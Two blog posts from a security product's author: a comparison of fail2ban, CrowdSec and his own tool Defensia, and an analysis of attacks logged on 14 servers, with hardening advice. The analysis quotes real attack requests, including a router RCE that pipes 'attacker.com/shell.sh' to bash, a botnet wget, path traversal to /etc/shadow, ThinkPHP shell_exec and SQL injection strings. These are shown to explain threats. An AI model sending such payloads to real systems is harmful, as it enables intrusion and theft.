DEV Community: Defensia

fail2ban vs CrowdSec vs Defensia: an honest comparison

Defensia — Tue, 31 Mar 2026 14:59:46 +0000

I've been running all three on production servers. Not in a lab — on real VPS and bare metal boxes handling actual traffic. Here's what I learned about when each one makes sense, and when it doesn't.

The short version

	fail2ban	CrowdSec	Defensia
What it does	Bans IPs that match log patterns	Same + shares threat intel with community	Same + real-time dashboard + WAF + bot management
Install	`apt install fail2ban`	Install agent + bouncer + enroll	`curl \
Config	Edit regex jail files	Write YAML scenarios	Zero config (detects everything automatically)
Dashboard	None (CLI only)	Console (free limited, paid $29+/engine/mo)	Included (free tier, Pro at $9.90/server)
WAF	No	Partial (AppSec component)	Yes (15 OWASP types from access logs)
Bot management	No	No	Yes (70+ fingerprints)
Docker aware	No	Via acquisitions	Yes (auto-detects containers, reads their logs)
Kubernetes	No	Via Helm chart	Via Helm chart (DaemonSet)
Crowd intelligence	No	Yes (core feature)	Yes (shared threat DB + external feeds)
Price	Free	Free CLI / $29+/engine/mo console	Free (1 server) / $9.90/server/mo Pro
Language	Python	Go	Go
Age	2004 (20+ years)	2020	2026

Now the details.

fail2ban: the reliable veteran

fail2ban has been around since 2004. It does one thing: watch log files, match patterns, ban IPs via iptables. Twenty years later, it's still the default on most Linux servers.

What's good

It just works. {% raw %}apt install fail2ban and you have SSH protection out of the box. The default config catches failed SSH logins and bans after 5 failures. For many servers, that's enough.

Zero overhead. fail2ban uses almost no CPU or RAM. It's a Python script that tails log files. On a $5 VPS where every megabyte counts, this matters.

Battle-tested. Twenty years of production use. Every edge case has been hit, reported, and fixed. The regex patterns for SSH, Apache, Nginx, Postfix, Dovecot — they all work.

No network dependency. fail2ban works completely offline. No cloud, no API, no account, no telemetry. It reads local logs and writes local iptables rules. Period.

What's not good

Configuration is painful. Want to protect more than SSH? You need to write "jails" — regex patterns that match log lines. Here's what a jail looks like:

[nginx-botsearch]
enabled  = true
port     = http,https
filter   = nginx-botsearch
logpath  = /var/log/nginx/access.log
maxretry = 2

And the filter file:

[Definition]
failregex = ^<HOST> - .* "(GET|POST|HEAD).*HTTP.*" 404

This is fine for one pattern. But if you want to detect SQL injection, XSS, path traversal, RCE, env probing, config probing, scanner tools, and web shells — you're writing dozens of regex files and testing each one.

No visibility. fail2ban has no dashboard, no web UI, no charts, no timeline. Want to know how many attacks you got today? fail2ban-client status sshd gives you a count. That's it. Want to see trends over time, or which countries are attacking you, or which attack types are most common? You can't. Not without piping logs through ELK or Grafana yourself.

No WAF. fail2ban reads logs and matches patterns. It doesn't understand HTTP semantics, OWASP attack types, or bot fingerprints. It's a log parser with ban capabilities, not a security tool.

Single-server scope. A ban on Server A doesn't protect Server B. Each server is an island.

When to use fail2ban

You have 1-2 servers and only need SSH protection
You want zero network dependency
You're comfortable writing and maintaining regex jails
You don't need visibility into what's happening

CrowdSec: the community approach

CrowdSec launched in 2020 as a "modern fail2ban" with one key innovation: crowd intelligence. When your server detects an attacker, it shares the IP with the CrowdSec network. In return, you get a blocklist of IPs flagged by other users worldwide.

What's good

Crowd intelligence is powerful. This is CrowdSec's killer feature. If an IP attacks a server in Germany, your server in Singapore gets the warning before the attack reaches you. With enough participants, this creates a global early-warning network.

Better detection model. Instead of fail2ban's flat regex, CrowdSec uses YAML "scenarios" that can express behavior over time: "5 failed logins in 2 minutes" rather than just "line matches pattern." This reduces false positives.

Bouncer architecture. CrowdSec separates detection (the agent) from remediation (bouncers). You can detect on one server and enforce on another — useful for multi-server setups.

Active development. Go-based, well-maintained, growing community. The team ships regularly and the docs are solid.

What's not good

Complex setup. Install the agent, install a bouncer (separate binary), configure parsers, enroll in the console, configure scenarios. The docs are good, but the surface area is large. Here's a taste:

# Install agent
curl -s https://install.crowdsec.net | bash

# Install firewall bouncer
apt install crowdsec-firewall-bouncer-iptables

# Enroll in console
cscli console enroll <your-key>

# Install a collection for nginx
cscli collections install crowdsecurity/nginx

# Acquire the log file
echo "source: file\nfilenames:\n  - /var/log/nginx/access.log\nlabels:\n  type: nginx" > /etc/crowdsec/acquis.d/nginx.yaml

# Restart
systemctl restart crowdsec

Compare to fail2ban's apt install fail2ban or Defensia's single curl command. CrowdSec requires understanding agents, bouncers, parsers, scenarios, collections, and the console.

The console is expensive. The CLI is free. But the dashboard (CrowdSec Console) starts at $29/engine/month for the SaaS tier. Enterprise features like local synchronization start at $18,000/month. For a developer with 3 servers, that's $87/month just for the dashboard — compared to $0 for fail2ban or $29.70 for Defensia Pro.

AppSec (WAF) is an add-on. CrowdSec's WAF component exists but it's a separate module, not integrated into the core detection flow. It requires additional configuration and only covers specific scenarios.

Privacy trade-off. Crowd intelligence requires sharing your server's attack data with CrowdSec's cloud. The data is anonymized, but some organizations can't or won't share security telemetry with a third party.

When to use CrowdSec

You manage 10+ servers and want proactive threat intel
You're comfortable with complex multi-component setup
Crowd blocklists are worth more to you than a dashboard
You don't mind sharing attack data with a third party
Budget allows $29+/engine/month for the console

Defensia: the dashboard-first approach

Full disclosure: I built Defensia. So take this section with that context. I'll try to be as honest about the limitations as I was with the other two.

What's good

Zero configuration. Install with one command and the agent auto-detects everything: SSH auth logs, Nginx/Apache access logs, Docker containers, vhosts, log paths. No jails to write, no scenarios to configure, no parsers to install.

curl -fsSL https://defensia.cloud/install.sh | sudo bash -s -- --token <YOUR_TOKEN>

Real-time dashboard included. Every event, ban, and metric shows up in a web dashboard immediately. Filter by server, attack type, country, IP. See trends over time. Export to CSV. No Grafana setup, no ELK stack. This is the #1 thing fail2ban and CrowdSec (free tier) don't give you.

Built-in WAF. The agent parses access logs and detects 15 OWASP attack types — SQL injection, XSS, SSRF, RCE, path traversal, env probing, config probing, web shells, scanner tools, and more. Each detection adds to a per-IP score that decays over time. High-score IPs get banned automatically.

Bot management. 70+ bot fingerprints with per-server policies: allow, log, or block. Blocked bots are rejected at the web server level (nginx/Apache config), so your app never sees the request.

Docker and Kubernetes native. Auto-detects Docker containers, reads their logs via bind mounts, and reports container inventory to the dashboard. Helm chart for K8s DaemonSet deployment.

What's not good

Smaller crowd network. Defensia shares threat data across all organizations through a shared threat intelligence database. When an IP is flagged by one customer, it gets a threat score — and IPs scoring above 70 are pushed to all agents via the sync feed, alongside external threat feeds (Spamhaus DROP, Feodo Tracker, CINS Army). Bans also propagate across all servers within the same organization. However, CrowdSec's crowd network is significantly larger (millions of users contributing), so their blocklist coverage is broader today.

Requires a cloud account. The agent connects to defensia.cloud for the dashboard and management. fail2ban works fully offline; Defensia doesn't. If you can't send data to a third-party cloud, Defensia isn't for you.

Younger project. fail2ban has 20 years of battle-testing. CrowdSec has 6 years and a funded team. Defensia launched in 2026. The agent is open source (MIT) and has been running on production servers for months, but the track record is shorter.

Smaller community. fail2ban has millions of installs. CrowdSec has a growing community with shared scenarios and collections. Defensia is a project with a growing user base but no community-contributed detection rules yet.

When to use Defensia

You want visibility into what's attacking your servers without setting up monitoring infrastructure
You need WAF protection from access logs without configuring rules
You manage Docker hosts and want container-aware security
You want something that works out of the box with zero configuration
Budget: free for 1 server, $9.90/server for Pro

The real comparison: what matters to you?

"I just need SSH protection and nothing else"

Use fail2ban. It's free, it works, it's been doing this for 20 years. Don't overthink it.

"I manage 10+ servers and want proactive threat intel"

CrowdSec or Defensia. Both share threat data across users. CrowdSec has a much larger crowd network today. Defensia combines crowd intel with a dashboard, WAF, and external feeds (Spamhaus, Feodo, CINS) in one package.

"I want to see what's happening on my servers in real time"

Use Defensia. Neither fail2ban nor CrowdSec (free tier) gives you a dashboard. Defensia's entire value proposition is making server security visible without infrastructure overhead.

"I need WAF + SSH + bots in one tool"

Use Defensia. fail2ban doesn't do WAF. CrowdSec's WAF is a separate module. Defensia detects 15 OWASP attack types, manages 70+ bot fingerprints, and handles SSH brute force — all from one agent.

"I can't send data to any cloud"

Use fail2ban. It's the only one that works fully offline with zero network dependency.

Can I run more than one?

Yes. fail2ban + CrowdSec is a common combination (fail2ban for local bans, CrowdSec for crowd intelligence). Defensia + CrowdSec could also work (Defensia for dashboard + WAF, CrowdSec for crowd blocklists). There's no conflict as long as you don't have both trying to manage the same iptables chains.

Bottom line

There's no single "best" tool. fail2ban is the reliable baseline. CrowdSec has the largest crowd network. Defensia combines crowd intel, WAF, bot management, and a dashboard in one package.

Pick based on what you actually need, not what has the most features on paper.

Links:

fail2ban: github.com/fail2ban/fail2ban
CrowdSec: github.com/crowdsecurity/crowdsec
Defensia: github.com/defensia/agent (MIT license)

If you want to see real attack data before choosing a tool, I wrote about analyzing 250,000 attacks on production servers.

I analyzed 250,000 attacks on my Linux servers. Here's what I found.

Defensia — Tue, 31 Mar 2026 14:22:54 +0000

I set up real-time monitoring on 14 production Linux servers, a mix of VPS, bare metal, and Docker hosts across DigitalOcean, OVH, Hetzner, and a couple of on-prem boxes. One server hosts 64 domains. Another runs a single Laravel app. They range from 1 vCPU to 8 vCPU, Ubuntu, Debian, CentOS 7, and AlmaLinux.

I wanted to answer a simple question: what's actually hitting my servers?

I let it run for 35 days. The answer was worse than I expected.

The numbers

Metric	Value
Total security events	254,177
Attacks per day (average)	8,400
Unique attacking IPs	23,831
IPs banned automatically	50,919
Repeat offenders (banned 2+ times)	9,827
Permanently banned (4+ offenses)	1,871
Worst single IP	Banned 14 times before permanent block

That's 8,400 attacks per day. Across 14 servers. Every single day.

What's attacking you (and what they want)

I'm going to skip the bot crawler noise and focus on what matters: attacks that can actually compromise your server.

SSH brute force — 20,960 events

The most persistent threat. ~700 attempts per day, every day, without exception.

The pattern is always the same: an IP connects, tries 50-200 passwords in 2-3 minutes, then moves on. They target every username you can think of:

root
admin
ubuntu
test
oracle
postgres
deploy
git
ftpuser
minecraft

Most brute force comes in coordinated waves: the same IP hits multiple servers within seconds. With progressive ban escalation (24h first offense, 7 days second, 30 days third, permanent after that), 1,871 IPs have been permanently blocked.

What to do: Disable password auth entirely. Use SSH keys only. Add this to /etc/ssh/sshd_config:

PasswordAuthentication no
PubkeyAuthentication yes
PermitRootLogin prohibit-password

Then systemctl restart sshd. This alone stops 99% of SSH brute force.

`.env` file probing — 2,376 events

This one should terrify every developer who deploys web apps:

GET /.env HTTP/1.1
GET /.env.local HTTP/1.1
GET /.env.production HTTP/1.1
GET /.env.backup HTTP/1.1
GET /api/.env HTTP/1.1
GET /app/.env HTTP/1.1
GET /laravel/.env HTTP/1.1
GET /wp-content/.env HTTP/1.1

Every single one of my 14 servers gets probed for .env files multiple times per day. They're looking for database credentials, API keys, APP_KEY, Stripe secrets, everything that's in your .env.

If your web server serves .env as a static file, you are already compromised. I guarantee it. The scanners are automated and run 24/7.

What to do: Block .env access in your web server config:

# Nginx
location ~ /\.env {
    deny all;
    return 404;
}

# Apache
<FilesMatch "^\.env">
    Require all denied
</FilesMatch>

Config probing — 739 events

The .env cousins:

GET /wp-config.php
GET /.git/config
GET /.git/HEAD
GET /server-status
GET /.htpasswd
GET /web.config
GET /config.php
GET /database.yml
GET /settings.py

Attackers systematically check for every known config file across every framework. WordPress, Rails, Django, Laravel, Node, they try them all on every IP. They don't know what you're running; they just spray and see what responds.

The .git/config one is particularly nasty if your .git directory is exposed, they can download your entire source code including commit history.

Path traversal — 1,362 events

GET /../../etc/passwd
GET /..%2f..%2f..%2fetc/shadow
GET /static/..%252f..%252f..%252fetc/passwd
GET /images/../../../etc/hostname

Note the double URL-encoding: %252f decodes to %2f which decodes to /. This is designed to bypass naive WAFs that only decode once.

They're trying to escape your web root and read system files — /etc/passwd to enumerate users, /etc/shadow for password hashes, or /proc/self/environ for environment variables.

Remote code execution — 799 events

The scary ones:

GET /cgi-bin/luci/;stok=/locale?form=country&operation=write
    &country=$(curl+attacker.com/shell.sh|bash)

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

GET /index.php?s=/index/\think\app/invokefunction
    &function=call_user_func_array&vars[0]=shell_exec
    &vars[1][]=whoami

GET /?cmd=wget+http://185.x.x.x/bins/bot.arm7

Each of these targets a specific CVE:

PHPUnit eval-stdin.php — a dev dependency that should never be on production. If it's accessible, they have full shell access.
ThinkPHP RCE — affects ThinkPHP < 5.0.24. Allows arbitrary command execution via URL.
Luci router RCE — targets OpenWrt/router admin panels exposed to the internet.
Direct wget — tries to download and execute a botnet binary. bot.arm7 tells you they're targeting IoT devices too.

Web shell access — 40 events

GET /c99.php
GET /r57.php
GET /shell.php
GET /cmd.php
GET /webshell.php
GET /wp-content/uploads/shell.php

They're checking if a previous attacker already left a web shell on your server. If any of these returns 200, your server is already owned.

Scanner tools — 2,342 events

These User-Agents appear constantly:

sqlmap/1.7
Nuclei - Open-source project (projectdiscovery.io)
Nmap Scripting Engine
masscan/1.3
Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2)

Scanners map your entire attack surface: what software you run, what versions, what ports are open, what known CVEs apply. The results either get used in targeted attacks or sold on forums.

SQL injection — 13 confirmed events

Low volume but high impact. Every attempt is a targeted exploit:

GET /index.php?id=1'+UNION+SELECT+username,password+FROM+users--
GET /search?q=1%27%20OR%201=1--

Low count means most SQL injection gets caught at the application level or by pattern-based WAF rules. But 13 confirmed attempts in 35 days on production servers means it's real not theoretical.

Everything else

Attack type	Events	What it targets
FTP brute force	403	vsftpd, ProFTPD credentials
Web exploits (Spring4Shell, Log4Shell, Struts)	176	Known CVEs in Java frameworks
Honeypot triggers	124	Decoy endpoints that only attackers would hit
Mail brute force	30	Postfix SASL, Dovecot IMAP/POP3
Exposed database ports	14	MySQL/PostgreSQL open to internet
DB brute force	5	Direct database auth attempts
SSRF attempts	2	Server-side request forgery

Where the attacks come from

Country	Events	%
United States	117,171	46.1%
Singapore	60,109	23.6%
France	13,223	5.2%
Russia	10,647	4.2%
Germany	9,628	3.8%
China	7,132	2.8%
United Kingdom	4,607	1.8%
Netherlands	3,254	1.3%
Hong Kong	3,245	1.3%
Brazil	2,251	0.9%

Surprise: the US is #1 by far. Not because Americans are hacking you — because AWS, DigitalOcean, Vultr, and Linode provide cheap VPS that attackers use as launchpads. Singapore at #2 is the same story (AWS ap-southeast-1).

Russia and China combined are only 7%. Blocking "suspicious countries" misses 93% of the traffic.

The timeline: what happens when you deploy a fresh VPS

I tracked the exact timing from several fresh Droplet deployments:

Time	What happens
< 1 min	Shodan, Censys, Masscan port scan — your IP is indexed
1-3 min	First SSH connection attempt (usually `root`)
3-5 min	First brute force wave — 50-100 password guesses
5-15 min	First web exploit probe — `.env`, `wp-login.php`, `.git/config`
15-60 min	Bot crawlers discover your IP, start scraping everything
1-24 hours	Targeted scans based on what they detected (specific CVEs for your stack)

Your server is under attack before you finish your first apt update.

Per-server breakdown

Server	Events	Notes
VPS with 64 domains	155,901	More domains = more attack surface
VPS with 10 domains	38,924	Second most targeted
Defensia platform server	14,185	Security product = ironic target
Clean DO Droplet (test)	9,500	Fresh server, nothing deployed — still 9,500 attacks
Single-app VPS	7,096	One Laravel app = still thousands of attacks
Internal network server	84	Only reachable via VPN — almost no attacks

The clean Droplet with nothing deployed got 9,500 attacks. The IP alone is enough.

What to do about it

Five things every developer with a Linux server should do:

1. SSH keys only, disable password auth

sed -i 's/#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd

This eliminates 100% of SSH brute force. Non-negotiable.

2. Block sensitive file access

# Nginx — add to every server block
location ~ /\.(env|git|htpasswd) {
    deny all;
    return 404;
}

Stops .env probing, .git exposure, and .htpasswd leaks.

3. Enable a firewall

ufw default deny incoming
ufw allow ssh
ufw allow http
ufw allow https
ufw enable

Only expose the ports you actually need.

4. Keep software updated

apt update && apt upgrade -y
# Or enable unattended-upgrades for security patches

Most RCE attacks target known CVEs with patches already available.

5. Monitor what's happening

This is the part most developers skip. Without monitoring, all 254,000 of these events would be completely invisible. You'd never know until something breaks or your server starts sending spam.

At minimum, check your auth log regularly:

grep "Failed password" /var/log/auth.log | tail -20

If you want real-time visibility, I built an open-source agent that does all of this automatically: detects SSH brute force (15 patterns), web attacks (15 OWASP types), and manages bots with a dashboard showing everything in real time.

It's a single Go binary that installs in one command:

curl -fsSL https://defensia.cloud/install.sh | sudo bash -s -- --token <YOUR_TOKEN>

Also works with Docker and Kubernetes.

The agent is MIT-licensed: github.com/defensia/agent

Free tier includes 1 server with full protection. defensia.cloud

All data is from real production servers monitored between February 24 and March 31, 2026. No synthetic traffic, no test data. Just the internet being the internet.

DEV Community: Defensia

fail2ban vs CrowdSec vs Defensia: an honest comparison

The short version

fail2ban: the reliable veteran

What's good

What's not good

When to use fail2ban

CrowdSec: the community approach

What's good

What's not good

When to use CrowdSec

Defensia: the dashboard-first approach

What's good

What's not good

When to use Defensia

The real comparison: what matters to you?

"I just need SSH protection and nothing else"

"I manage 10+ servers and want proactive threat intel"

"I want to see what's happening on my servers in real time"

"I need WAF + SSH + bots in one tool"

"I can't send data to any cloud"

Can I run more than one?

Bottom line

I analyzed 250,000 attacks on my Linux servers. Here's what I found.

The numbers

What's attacking you (and what they want)

SSH brute force — 20,960 events

.env file probing — 2,376 events

Config probing — 739 events

Path traversal — 1,362 events

Remote code execution — 799 events

Web shell access — 40 events

Scanner tools — 2,342 events

SQL injection — 13 confirmed events

Everything else

Where the attacks come from

The timeline: what happens when you deploy a fresh VPS

Per-server breakdown

What to do about it

1. SSH keys only, disable password auth

2. Block sensitive file access

3. Enable a firewall

4. Keep software updated

5. Monitor what's happening

`.env` file probing — 2,376 events